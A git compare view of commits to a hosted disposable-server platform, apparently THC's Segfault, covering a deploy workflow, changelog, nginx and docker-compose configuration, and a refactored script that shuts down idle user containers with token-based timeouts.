Compare commits

...

26 Commits

Author SHA1 Message Date
SkyperTHC a27b034527
auto-push 2024-01-23 11:06:28 +00:00
SkyperTHC 36c605ef6f
auto-push 2024-01-23 11:05:08 +00:00
SkyperTHC ecd3350dc2
PowerShell-Version-Fix 2024-01-23 11:01:12 +00:00
SkyperTHC 9ecaff59ff
push 2024-01-23 11:00:19 +00:00
SkyperTHC f30e540931
rc1 2024-01-22 10:37:23 +00:00
SkyperTHC abe588221e
banhammer 2024-01-22 10:37:02 +00:00
SkyperTHC 44f0018fff
guest docker bumping 2024-01-20 20:44:05 +00:00
SkyperTHC fc10201e80
OpenVPN 2024-01-19 17:18:58 +00:00
SkyperTHC 9982829b2a
OpenVPN 2024-01-19 13:21:18 +00:00
SkyperTHC 4545ba6b80
perm 2024-01-18 08:33:43 +00:00
SkyperTHC bfc387d607
sploitscan 2024-01-18 08:33:18 +00:00
SkyperTHC 91af93ddf4
various 2024-01-16 13:47:48 +00:00
SkyperTHC 74f782184c
delta 2023-12-13 16:37:14 +00:00
SkyperTHC f7c740d1d1
resolv 2023-12-13 16:36:24 +00:00
SkyperTHC 63a66a9c12
gsexecio 2023-12-13 16:23:45 +00:00
SkyperTHC a8fec68c59
resource balancing, gsexecio and MAXMIND key 2023-11-22 14:18:46 +00:00
SkyperTHC 2dc1fa9e05
rc1 2023-11-22 14:18:45 +00:00
SkyperTHC af3a6d04a8
qdisc per LG limit 2023-11-22 14:18:45 +00:00
user e66a2806f2
fix: logpipe socket permission
Signed-off-by: user <you@example.com>
2023-11-22 14:18:45 +00:00
Messede Degod 9aab6597fa
Update docker-compose.yml 2023-11-22 14:18:45 +00:00
Messede Degod 0a00127f5c
read config from ./config 2023-11-22 14:18:45 +00:00
SkyperTHC 41bbf128b6
various 2023-11-22 14:18:45 +00:00
SkyperTHC 214304494c
logpipe 2023-11-22 14:18:45 +00:00
SkyperTHC e0bef1c6f6
minor 2023-11-22 14:18:45 +00:00
user 7c90b3265b
added log type 2023-11-22 14:18:45 +00:00
user a5d69d5fe2
lopipe: elasticsearch logging 2023-11-22 14:18:45 +00:00
42 changed files with 1272 additions and 362 deletions

31
.github/workflows/deploy-push.yaml vendored Normal file
View File

@ -0,0 +1,31 @@
name: Auto upload sfwg[*|.ps1] to thc.org/sfwg*
on:
push:
branches:
- master
paths:
- contrib/sfwg.ps1
- contrib/sfwg
workflow_dispatch:
jobs:
build:
name: Deploy to WWW
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: sfwg to https://thc.org/
env:
SSH_DEPLOY_KEY: ${{ secrets.SSH_DEPLOY_KEY }}
run: |
cp contrib/sfwg contrib/sfwg.ps1 /tmp/
mkdir ~/.ssh && echo "$SSH_DEPLOY_KEY" >~/.ssh/id_ed25519 && chmod 600 ~/.ssh/id_ed25519
cd /tmp/
git clone -b gh-pages --single-branch git@github.com:hackerschoice/hackerschoice.github.io.git
cd hackerschoice.github.io
cat /tmp/sfwg >sfwg
cat /tmp/sfwg.ps1 >sfwg.ps1
git config --local user.name "GitHub Action"
git config --local user.email "root@proton.thc.org"
git add sfwg sfwg.ps1 && git commit -m "deploy sfwg" && git push

View File

@ -1,4 +1,17 @@
0.5.0 - 2023-11-00
0.5.4 - 2023-02-00
* OpenSSH 9.6p1
* rshell
* sploitscan
* OpenVPN (curl sf/ovpn)
* Different auto-shutdown timers for FREE and TOKEN users
* Syscop login message after auto-shutdown
0.5.2 - 2023-12-00
* Kali 2023.4
* SSHD Banner
0.5.0 - 2023-11-29
* Configurable access to external storage (SF_USER_FS_EXT=)
* Configurable access to /dev/kvm
* Reverse Port via curl sf/port
* Token via curl sf/set -dtoken=<NAME>

View File

@ -1,4 +1,4 @@
VER := 0.5.0rc1
VER := 0.5.4rc1
all:
make -C router
@ -48,11 +48,15 @@ FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/geoip"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/geoiphn"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gssec"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gsexec"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gsexecio"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/d"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/str2mnemonic"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/thcssh"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/transfer"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/asn"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/sshj"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/shred"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/rshell"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/pkg-install.sh"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/etc/rc.local-example"
FILES_GUEST += "segfault-$(VER)/guest/fs-root/etc/vim/vimrc.local"
@ -115,6 +119,7 @@ FILES_PROVISION += "segfault-$(VER)/provision/update.sh"
FILES_ENCFSD += "segfault-$(VER)/encfsd/Makefile"
FILES_ENCFSD += "segfault-$(VER)/encfsd/Dockerfile"
FILES_ENCFSD += "segfault-$(VER)/encfsd/destructor.sh"
FILES_ENCFSD += "segfault-$(VER)/encfsd/funcs_destructor.sh"
FILES_ENCFSD += "segfault-$(VER)/encfsd/encfsd.sh"
FILES_ENCFSD += "segfault-$(VER)/encfsd/portd.sh"
@ -133,6 +138,7 @@ FILES_GSNC += "segfault-$(VER)/gsnc/sf-gsnc.sh"
FILES_CONFIG += "segfault-$(VER)/config/etc/nginx/nginx.conf"
FILES_CONFIG += "segfault-$(VER)/config/etc/nginx/nginx-rpc.conf"
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/sf.conf"
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/timers.conf"
FILES_CONFIG += "segfault-$(VER)/config/etc/redis/redis.conf"
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/WARNING---SHARED-BETWEEN-ALL-SERVERS---README.txt"
FILES_CONFIG += "segfault-$(VER)/config/etc/resolv.conf"
@ -140,6 +146,7 @@ FILES_CONFIG += "segfault-$(VER)/config/etc/loginmsg-new.sh-example"
FILES_CONFIG += "segfault-$(VER)/config/etc/loginmsg-all.sh-example"
FILES_CONFIG += "segfault-$(VER)/config/etc/logoutmsg-all.sh-example"
FILES_CONFIG += "segfault-$(VER)/config/etc/logpipe/config.yaml"
FILES_CONFIG += "segfault-$(VER)/config/etc/ssh/banner_example"
FILES_ROOT += "segfault-$(VER)/Makefile"
FILES_ROOT += "segfault-$(VER)/ChangeLog"
@ -151,7 +158,10 @@ FILES_ROOT += "segfault-$(VER)/sfbin/funcs.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_redis.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_admin.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_net.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_ovpn.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/ovpn_up.sh"
FILES_ROOT += "segfault-$(VER)/sfbin/sf"
FILES_ROOT += "segfault-$(VER)/sfbin/banhammer.sh"
FILES_CLEANER += "segfault-$(VER)/tools/cg/Dockerfile"
FILES_CLEANER += "segfault-$(VER)/tools/cg/go.mod"

View File

@ -69,12 +69,15 @@ http {
gzip off;
location / {
try_files $uri $uri/ = 404;
rewrite /net /net/;
rewrite /wg /wg/;
rewrite /dmesg /dmesg/;
rewrite /port /port/;
rewrite /set /set/;
#try_files $uri $uri/ = 404;
rewrite ^/net$ /net/ last;
rewrite ^/ovpn$ /ovpn/ last;
rewrite ^/vpn$ /ovpn/ last;
rewrite ^/wg$ /wg/ last;
rewrite ^/dmesg$ /dmesg/ last;
rewrite ^/port$ /port/ last;
rewrite ^/set$ /set/ last;
rewrite ^/vpn/(.*)$ /ovpn/$1 last;
location ~* ^/set/.* {
fastcgi_param REMOTE_ADDR $remote_addr;
@ -100,6 +103,14 @@ http {
fastcgi_param SCRIPT_FILENAME /cgi-bin/rpc;
fastcgi_pass unix:/dev/shm/sf/master/fcgiwrap.socket;
}
location ~* ^/ovpn/.* {
fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REQUEST_URI $request_uri;
fastcgi_param REQUEST_BODY $request_body;
fastcgi_param FCGI_CMD ovpn;
fastcgi_param SCRIPT_FILENAME /cgi-bin/rpc;
fastcgi_pass unix:/dev/shm/sf/master/fcgiwrap.socket;
}
location ~* ^/wg/.* {
fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REQUEST_URI $request_uri;

View File

@ -45,9 +45,18 @@
#SF_USER_FS_SIZE= # =128m, xfs only, Not set=unlimited
#SF_USER_FS_INODE= # =16384, xfs only, Not set=unlimited
#SF_USER_FS_EXT= # Mount /sf/data/ext/NAME to /DST, Example ="foobar:/nonsec:ro"
# You may want to add a quota to any external share:
# 1. Pick a new prjid below 1,000,000
# xfs_quota -x -c 'report /sf/data'
# 2. Add PrjId and quota:
# xfs_quota -x -c 'project -s -p /sf/data/ext/foobar 9999999'
# docker exec sf-encfsd xfs_quota -x -c 'limit -p ihard=16777216 bhard=512g 9999999'
#SF_USER_DEV_KVM= # =1 to allow access to /dev/kvm (Warning: User can DoS PHY)
#SF_ALLOW_SRC_TOR= # =1 to allow connections from TOR
#SF_USER_IMMUNE= # =1 to not ban user by lgban
#SF_USER_ALLOW_IP= # =any to ingore IP ban (use in limits.conf)
# Limit to 8 concurrently running servers per IP
#SF_LIMIT_SERVER_BY_IP=8

View File

@ -0,0 +1,6 @@
#SF_TIMEOUT_WITH_SHELL=$((60 * 60 * 36))
#SF_TIMEOUT_NO_SHELL=$((60 * 60 * 1))
#SF_TIMEOUT_TOKEN_WITH_SHELL=$((60 * 60 * 24 * 7))
#SF_TIMEOUT_TOKEN_NO_SHELL=$((60 * 60 * 36))

View File

@ -0,0 +1,2 @@
# Rename this file to banner and remove this line
https://thc.org/abuse

View File

@ -12,7 +12,7 @@ while [[ $i -gt 0 ]]; do
((i--))
h="${HOSTS[$i]}"
echo "#${i} Syncing ${h} DOWN"
rsync -ral "${h}":/sf/config/db/banned "${h}":/sf/config/db/token "${h}":/sf/config/db/limits .
rsync -ral "${h}":/sf/config/db/banned "${h}":/sf/config/db/private "${h}":/sf/config/db/token "${h}":/sf/config/db/limits .
done
echo "==[DOWN done. Press Enter to start UP]=================================================="
@ -20,6 +20,6 @@ read
i=0
for h in "${HOSTS[@]}"; do
echo "#$i Syncing ${h} UP"
rsync -ral banned token limits "${h}":'/sf/config/db'
rsync -ral banned private token limits "${h}":'/sf/config/db'
((i++))
done

View File

@ -209,7 +209,7 @@ wg_up()
[[ $(sysctl -n net.ipv4.ip_forward) -eq 0 ]] && sysctl -q -w net.ipv4.ip_forward=1
[[ $(sysctl -n net.ipv6.conf.all.forwarding) -eq 0 ]] && sysctl -q -w net.ipv6.conf.all.forwarding=1
ip link del "${WG_DEV}" &>/dev/null
ip link del "${WG_DEV:?}" &>/dev/null
ip link add "${WG_DEV}" type wireguard || return 255
fn="/dev/shm/private.$$"

View File

@ -89,13 +89,13 @@ function Is-Administrator
function Get-Latest-Release
{
$WT_PACKAGE="wiretap_0.3.1_windows_amd64.zip"
$WT_PACKAGE="windows_amd64.zip"
Switch ($Env:PROCESSOR_ARCHITECTURE)
{
"x86" {$WT_PACKAGE="wiretap_0.3.1_windows_386.zip"}
"AMD64" {$WT_PACKAGE="wiretap_0.3.1_windows_amd64.zip"}
"ARM64" {$WT_PACKAGE="wiretap_0.3.1_windows_arm64.zip"}
"ARM" {$WT_PACKAGE="wiretap_0.3.1_windows_arm64.zip"}
"x86" {$WT_PACKAGE="windows_386.zip"}
"AMD64" {$WT_PACKAGE="windows_amd64.zip"}
"ARM64" {$WT_PACKAGE="windows_arm64.zip"}
"ARM" {$WT_PACKAGE="windows_arm64.zip"}
default {Print-Fatal "Unsupported Windows architecture!"}
}
Print-Debug "$WT_PACKAGE"

View File

@ -40,7 +40,7 @@ services:
devices:
- "/dev/fuse:/dev/fuse"
volumes:
- "${SF_BASEDIR:-.}/config/db:/config/db:ro"
- "${SF_BASEDIR:-.}/config/db:/config/db:rw"
- "${SF_BASEDIR:-.}/config/etc/sf:/config/etc/sf:ro"
- "${SF_BASEDIR:-.}/data:/encfs/raw"
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec:/encfs/sec:shared"
@ -76,6 +76,7 @@ services:
- "/dev/fuse:/dev/fuse"
volumes:
- "${SF_BASEDIR:-.}/config/db:/config/db:ro"
- "${SF_BASEDIR:-.}/config/etc/sf:/config/etc/sf:ro"
- "${SF_BASEDIR:-.}/data:/encfs/raw"
- "${SF_SHMDIR:-/dev/shm/sf}/self-for-guest:/config/self-for-guest"
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec:/encfs/sec:shared"
@ -445,11 +446,14 @@ services:
depends_on:
- sf-redis
network_mode: none
dns: ${SF_NET_VPN_DNS_IP}
cap_add:
- NET_ADMIN
- SYS_ADMIN # For nsenter
- SYSLOG # For dmesg
pid: "host" # For nsenter
devices:
- "/dev/net/tun:/dev/net/tun"
environment:
- SF_DEBUG
- SF_FQDN=${SF_FQDN:-SF_FQDN-NOT-SET.hack.segfault.net}
@ -457,17 +461,20 @@ services:
- SF_REDIS_AUTH=${SF_REDIS_AUTH}
- SF_RPC_IP=${SF_RPC_IP:?}
- SF_TOR_IP=${SF_TOR_IP:?}
- SF_NET_ONION=${SF_NET_ONION:?}
- WG_IPS=${SF_WG_IPS:-172.16.0.x/16,fd:16::x/104}
- SF_MULLVAD_ROUTE=${SF_MULLVAD_ROUTE:?}
- SF_DNS=${SF_NET_VPN_DNS_IP}
- SF_NET_LG_ROUTER_IP=${SF_NET_LG_ROUTER_IP:?}
- SF_HOST_MTU=${SF_HOST_MTU:-1500}
- SF_GUEST_MTU=${SF_GUEST_MTU:-1420}
volumes:
- "${SF_SHMDIR:-/dev/shm/sf}:/dev/shm/sf"
- "${SF_BASEDIR:-.}/config/db:/config/db"
- "${SF_SHMDIR:-/dev/shm/sf}/run/redis/sock:/redis-sock"
- "${SF_BASEDIR:-.}/config/etc/sf:/config/host/etc/sf:ro"
- "${SF_BASEDIR:-.}/sfbin:/sf/bin:ro"
# - "/research/segfault/sfbin:/sf/bin:ro" # FIXME-2022
- "/var/run/docker.sock:/var/run/docker.sock"
# - /research/segfault/master/cgi-bin:/cgi-bin:ro # FIXME-2022
entrypoint: ["/init-master.sh"]
@ -646,6 +653,7 @@ services:
volumes:
- "${SF_BASEDIR:-.}/config:/config/host"
- "${SF_BASEDIR:-.}/data/share:/sf/share:ro"
- "${SF_BASEDIR:-.}/data/ext:/sf/ext:ro"
- "${SF_BASEDIR:-.}/sfbin:/sf/bin:ro"
- "${SF_SHMDIR:-/dev/shm/sf}/run:/sf/run"
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec/www-root:/sec/www-root:slave"
@ -654,7 +662,7 @@ services:
- "/var/run/docker.sock:/var/run/docker.sock"
- "/var/lib/lxcfs:/var/lib/lxcfs:ro"
- "${SF_SHMDIR:-/dev/shm/sf}/run/redis/sock:/redis-sock"
#- /research/segfault/host/fs-root/bin/segfaultsh:/bin/segfaultsh:ro # FIXME-TESTING
# - /research/segfault/host/fs-root/bin/segfaultsh:/bin/segfaultsh:ro # FIXME-TESTING
# - /research/segfault/host:/host:ro # FIXME-TESTING sshd debug
nginx:

View File

@ -9,4 +9,4 @@ RUN apk add --no-cache --upgrade \
encfs \
redis \
xfsprogs-extra
COPY destructor.sh encfsd.sh portd.sh /
COPY destructor.sh funcs_destructor.sh encfsd.sh portd.sh /

View File

@ -3,145 +3,28 @@
# shellcheck disable=SC1091 # Do not follow
source /sf/bin/funcs.sh
source /sf/bin/funcs_redis.sh
SF_TIMEOUT_WITH_SHELL=604800
SF_TIMEOUT_NO_SHELL=129600
# Defaults
SF_TIMEOUT_WITH_SHELL=$((60 * 60 * 36))
SF_TIMEOUT_NO_SHELL=$((60 * 60 * 1))
SF_TIMEOUT_TOKEN_WITH_SHELL=$((60 * 60 * 24 * 7))
SF_TIMEOUT_TOKEN_NO_SHELL=$((60 * 60 * 36))
[[ -n $SF_DEBUG ]] && {
SF_TIMEOUT_WITH_SHELL=180
SF_TIMEOUT_NO_SHELL=120
}
# [LID] <1=encfs> <1=Container> <message>
# Either parameter can be "" to not stop encfs or lg-container
stop_lg()
{
local is_encfs
local is_container
local lid
local ts_born
lid="$1"
ts_born="$2"
is_encfs="$3"
is_container="$4"
LOG "$lid" "Stopping [$((NOW - ts_born)) sec]. $5"
red RPUSH portd:cmd "remport ${lid}" >/dev/null
rm -f "/sf/run/encfsd/user/lg-${lid}"
rm -f "/sf/run/pids/lg-${lid}.pid"
rm -f "/sf/run/ips/lg-${lid}.ip"
rm -rf "/config/self-for-guest/lg-${lid}"
rm -rf "/sf/run/users/lg-${lid}"
# Tear down container
[[ -n $is_container ]] && docker stop "lg-$lid" &>/dev/nuill
# Odd: On cgroup2 the command 'docker top lg-*' shows that encfs is running
# inside the container even that we never moved it into the container's
# Process Namespace. EncFS will also die when the lg- is shut down.
# This is only neede for cgroup1:
[[ -n $is_encfs ]] && {
pkill -SIGTERM -f "^\[encfs-${lid}\]" 2>/dev/null
# Give kernel time to unmount mountpoint
sleep 1
}
# Do not use 'rm -rf' here as this might still be a mounted drive
# when encfsd is not killed fast enough (failing to delete is acceptable).
rm -f "/encfs/sec/lg-${lid}/THIS-DIRECTORY-IS-NOT-ENCRYPTED--DO-NOT-USE.txt"
rmdir "/encfs/sec/lg-${lid}"
}
# [lg-$LID]
# Check if lg- is running and
# 1. EncFS died
# 2. Container should be stopped (stale, idle)
check_container()
{
local c
local lid
local i
local IFS
local fn
local comm
local ts_logout
local ts_born
IFS=$'\n'
c="$1"
lid="${c#lg-}"
[[ ${#lid} -ne 10 ]] && return
ts_born=$(stat -c %Y "/sf/run/encfsd/user/lg-${lid}") || { ERR "[${CDM}${lid}${CN}] run/encfsd/user/lg-* missing?"; return; }
# Skip if EncFS only started recently (zsh not yet started).
[[ $((NOW - ts_born)) -lt 20 ]] && return 0
# Check if EncFS is still running.
pgrep -f "^\[encfs-${lid}\]" &>/dev/null || {
# NOTE: On CGROUPv2 the encfs dies when the lg container stops (user called 'halt' or 'docker stop')
stop_lg "$lid" "${ts_born}" "" "lg" "EncFS died..."
return
}
# ts_logout may not exist (stale)
ts_logout=0
fn="/config/db/user/lg-${lid}/ts_logout"
[[ -f "$fn" ]] && ts_logout=$(stat -c %Y "$fn")
# Check if there is still a shell running inside the container:
IFS=""
set -o pipefail
comm=$(docker top "lg-${lid}" -eo pid,comm 2>/dev/null | tail +2 | awk '{print $2;}') || {
# HERE: lg died or top failed.
set +o pipefail
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "LG no longer running."
return
}
set +o pipefail
# Note: We must set 'set +o pipefail' (e.g. fail only if last command errors). Otherwise the rare
# condition can happen where grep exits (first match found) but 'echo' is still writing. Then echo
# will receive a SIGPIPE and exit with 141 and the entire pipe will fail.
# [[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
# FIXME: many stale is_logged_in exists without ssh connected ;/
# HERE: LG & EncFS are running.
echo "$comm" | grep -m1 -E '(^zsh$|^bash$|^sh$|^sftp-server$)' >/dev/null && {
# HERE: User still has shell running
[[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
[[ $((NOW - ts_logout)) -lt ${SF_TIMEOUT_WITH_SHELL} ]] && return
# HERE: Not logged in. logged out more than 1 week ago.
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for $((NOW - ts_logout))sec (shell running)."
return
}
# HERE: No shell running, ts_logout=0 if never logged out
# Skip if only recently logged out.
[[ $((NOW - ts_logout)) -lt 60 ]] && return # Recently logged out.
# Filter out stale processes
echo "$comm" | grep -m1 -v -E '(^docker-init$|^sleep$|^encfs$|^gpg-agent$)' >/dev/null || {
# HERE: Nothing running but stale processes
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "No processes running."
return
}
# HERE: Something running (but no shell, and no known processes)
[[ $((NOW - ts_logout)) -ge ${SF_TIMEOUT_NO_SHELL} ]] && {
# User logged out 1.5 days ago. No shell. No known processes.
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for ${SF_TIMEOUT_NO_SHELL}sec (no shell running)."
return
}
# HERE: No shell. No known processes. Less than 1.5 days ago.
SF_TIMEOUT_WITH_SHELL=60
SF_TIMEOUT_NO_SHELL=15
SF_TIMEOUT_TOKEN_WITH_SHELL=120
SF_TIMEOUT_TOKEN_NO_SHELL=90
}
[[ ! -S /var/run/docker.sock ]] && ERREXIT 255 "Not found: /var/run/docker.sock"
source /funcs_destructor.sh || ERREXIT 255
export REDISCLI_AUTH="${SF_REDIS_AUTH}"
while :; do
sleep 30
source /config/etc/sf/timers.conf 2>/dev/null
source /funcs_destructor.sh 2>/dev/null
NOW=$(date +%s)
# Every 30 seconds check all container we are tracking (from encfsd)
containers=($(cd /sf/run/encfsd/user && echo lg-*))

View File

@ -130,6 +130,7 @@ load_limits()
unset SF_USER_FS_INODE
unset SF_USER_ROOT_FS_SIZE
unset SF_USER_ROOT_FS_INODE
unset SF_HOSTNAME
source "/sf/run/users/lg-${lid}/limits.txt"
}
@ -208,9 +209,9 @@ cmd_user_mount()
# HERE: Not yet mounted.
# Set XFS limits
load_limits "${lid}"
[[ -n $SF_USER_FS_INODE ]] || [[ -n $SF_USER_FS_SIZE ]] && {
[[ -z $SF_HOSTNAME ]] && { SF_HOSTNAME=$(<"/config/db/user/lg-${lid}/hostname") || return 255; }
[[ -n $SF_USER_FS_SIZE ]] && {
SF_NUM=$(<"/config/db/user/lg-${lid}/num") || return 255
SF_HOSTNAME=$(<"/config/db/user/lg-${lid}/hostname") || return 255
prjid=$((SF_NUM + 10000000))
DEBUGF "SF_NUM=${SF_NUM}, prjid=${prjid}, SF_HOSTNAME=${SF_HOSTNAME}, INODE=${SF_USER_FS_INODE}, SIZE=${SF_USER_FS_SIZE}"
err=$(xfs_quota -x -c "limit -p ihard=${SF_USER_FS_INODE:-16384} bhard=${SF_USER_FS_SIZE:-128m} ${prjid}" 2>&1) || { ERR "XFS-QUOTA: \n'$err'"; return 255; }
@ -228,8 +229,8 @@ cmd_user_mount()
# Extend same project quota to /onion and /everyone/SF_HOSTNAME
[[ -n $prjid ]] && {
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_EVR}" "/encfs/sec/everyone-root/everyone/${SF_HOSTNAME:?}"
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_WWW}" "/encfs/sec/www-root/www/${SF_HOSTNAME,,}"
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_EVR}" "/encfs/sec/everyone-root/everyone/${SF_HOSTNAME}"
}
# Mark as mounted (for destructor to track)

153
encfsd/funcs_destructor.sh Executable file
View File

@ -0,0 +1,153 @@
# [LID] <1=encfs> <1=Container> <message>
# Either parameter can be "" to not stop encfs or lg-container
stop_lg()
{
local is_encfs
local is_container
local lid
local ts_born
lid="$1"
ts_born="$2"
is_encfs="$3"
is_container="$4"
LOG "$lid" "Stopping [$((NOW - ts_born)) sec]. $5"
red RPUSH portd:cmd "remport ${lid}" >/dev/null
rm -f "/sf/run/encfsd/user/lg-${lid}"
rm -f "/sf/run/pids/lg-${lid}.pid"
rm -f "/sf/run/ips/lg-${lid}.ip"
rm -rf "/config/self-for-guest/lg-${lid}"
rm -rf "/sf/run/users/lg-${lid}"
# Kill the OpenVPN process (if running)
docker exec sf-master killall "openvpn-$lid" 2>/dev/null
docker exec sf-master rm -rf "/tmp/lg-$lid" 2>/dev/null
# Tear down container
[[ -n $is_container ]] && docker stop "lg-$lid" &>/dev/nuill
# Odd: On cgroup2 the command 'docker top lg-*' shows that encfs is running
# inside the container even that we never moved it into the container's
# Process Namespace. EncFS will also die when the lg- is shut down.
# This is only neede for cgroup1:
[[ -n $is_encfs ]] && {
pkill -SIGTERM -f "^\[encfs-${lid}\]" 2>/dev/null
# Give kernel time to unmount mountpoint
sleep 1
}
# Do not use 'rm -rf' here as this might still be a mounted drive
# when encfsd is not killed fast enough (failing to delete is acceptable).
rm -f "/encfs/sec/lg-${lid}/THIS-DIRECTORY-IS-NOT-ENCRYPTED--DO-NOT-USE.txt"
rmdir "/encfs/sec/lg-${lid}"
}
try_syscop_msg() {
local lid="$1"
echo -en "\
🤷‍♂️ ${CDM}Your server shut down automatically because you did not log in for $(( (NOW - ts_logout) / 60 / 60 )) h.
🫵 Please type ${CDC}halt${CDM} to stop your server or...
❤️ ...get a ${CM}TOKEN${CDM} to stop this message: ${CUL}${CB}https://thc.org/sf/token${CN}${CDM}
🌈 ${CW}Yours sincerely, The SysCops 😘 ${CN}
">"/config/db/user/lg-${lid:?}/syscop-msg.txt"
}
# [lg-$LID]
# Check if lg- is running and
# 1. EncFS died
# 2. Container should be stopped (stale, idle)
check_container()
{
local c
local lid
local IFS=$'\n'
local fn
local comm
local ts_logout
local ts_born
local to_with_shell=$SF_TIMEOUT_WITH_SHELL
local to_no_shell=$SF_TIMEOUT_NO_SHELL
local is_token
c="$1"
lid="${c#lg-}"
[[ ${#lid} -ne 10 ]] && return
ts_born=$(stat -c %Y "/sf/run/encfsd/user/lg-${lid}") || { ERR "[${CDM}${lid}${CN}] run/encfsd/user/lg-* missing?"; return; }
# Skip if EncFS only started recently (zsh not yet started).
[[ $((NOW - ts_born)) -lt 20 ]] && return 0
# Check if EncFS is still running.
pgrep -f "^\[encfs-${lid}\]" &>/dev/null || {
# NOTE: On CGROUPv2 the encfs dies when the lg container stops (user called 'halt' or 'docker stop')
stop_lg "$lid" "${ts_born}" "" "lg" "EncFS died..."
return
}
# ts_logout may not exist (stale)
ts_logout=0
fn="/config/db/user/lg-${lid}/ts_logout"
[[ -f "$fn" ]] && ts_logout=$(stat -c %Y "$fn")
# Check if there is still a shell running inside the container:
IFS=""
set -o pipefail
comm=$(docker top "lg-${lid}" -eo pid,comm 2>/dev/null | tail +2 | awk '{print $2;}') || {
# HERE: lg died or top failed.
set +o pipefail
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "LG no longer running."
return
}
# Load timers
[[ -e "/config/db/user/lg-${lid}/token" ]] && {
to_with_shell=$SF_TIMEOUT_TOKEN_WITH_SHELL
to_no_shell=$SF_TIMEOUT_TOKEN_NO_SHELL
is_token=1
}
set +o pipefail
# Note: We must set 'set +o pipefail' (e.g. fail only if last command errors). Otherwise the rare
# condition can happen where grep exits (first match found) but 'echo' is still writing. Then echo
# will receive a SIGPIPE and exit with 141 and the entire pipe will fail.
# [[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
# FIXME: many stale is_logged_in exists without ssh connected ;/
# HERE: LG & EncFS are running.
echo "$comm" | grep -m1 -E '(^zsh$|^bash$|^sh$|^sftp-server$)' >/dev/null && {
# HERE: User still has shell running
[[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
[[ $((NOW - ts_logout)) -lt ${to_with_shell} ]] && return
# HERE: Not logged in. logged out more than 1 week ago.
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for $((NOW - ts_logout))sec (shell running)."
[[ -z $is_token ]] && try_syscop_msg "$lid"
return
}
# HERE: No shell running, ts_logout=0 if never logged out
# Skip if only recently logged out.
[[ $((NOW - ts_logout)) -lt 60 ]] && return # Recently logged out.
# Filter out stale processes
echo "$comm" | grep -m1 -v -E '(^docker-init$|^sleep$|^encfs$|^gpg-agent$)' >/dev/null || {
# HERE: Nothing running but stale processes
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "No processes running."
return
}
# HERE: Something running (but no shell, and no known processes)
[[ $((NOW - ts_logout)) -ge ${to_no_shell} ]] && {
# User logged out 1.5 days ago. No shell. No known processes.
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for ${to_no_shell}sec (no shell running)."
[[ -z $is_token ]] && try_syscop_msg "$lid"
return
}
# HERE: No shell. No known processes. Less than 1.5 days ago.
}

View File

@ -216,7 +216,7 @@ RUN /pkg-install.sh LARGE apt-get install -y --no-install-recommends \
mono-mcs \
mono-devel \
most \
mycli \
`### mycli ### yanked from Kali.2023.4` \
mypager \
nfs-common \
neofetch \
@ -320,7 +320,7 @@ RUN /pkg-install.sh HUGE apt-get install -y --no-install-recommends \
cloud-image-utils \
debootstrap \
libguestfs-tools \
qemu-efi \
`qemu-efi ### yanked from Kali2023.4` \
qemu-efi-arm \
qemu-system \
qemu-user \
@ -362,7 +362,7 @@ RUN /pkg-install.sh GUI bash -c '{ cd /tmp \
&& echo "deb https://packages.microsoft.com/repos/vscode stable main" | tee /etc/apt/sources.list.d/microsoft.list \
&& apt-get update; }' \
&& /pkg-install.sh GUI apt-get install -y --no-install-recommends \
`###alacritty - Not available in stable release` \
alacritty \
aqemu \
awesome \
brave-browser \
@ -402,14 +402,14 @@ RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
code || { [ $(uname -m) != x86_64 ] && true; }
RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
`### xpra ### Using Xpra repo instead` \
libavformat59 \
libavif15 \
libavformat60 \
libavif16 \
libjs-jquery-ui \
`###libprocps8 ### yanked from Kali` \
libqrencode4 \
libxres1 \
libxtst6 \
libswscale6 \
libswscale7 \
libturbojpeg0 \
gir1.2-gtk-3.0 \
python3-cairo \
@ -442,13 +442,13 @@ RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
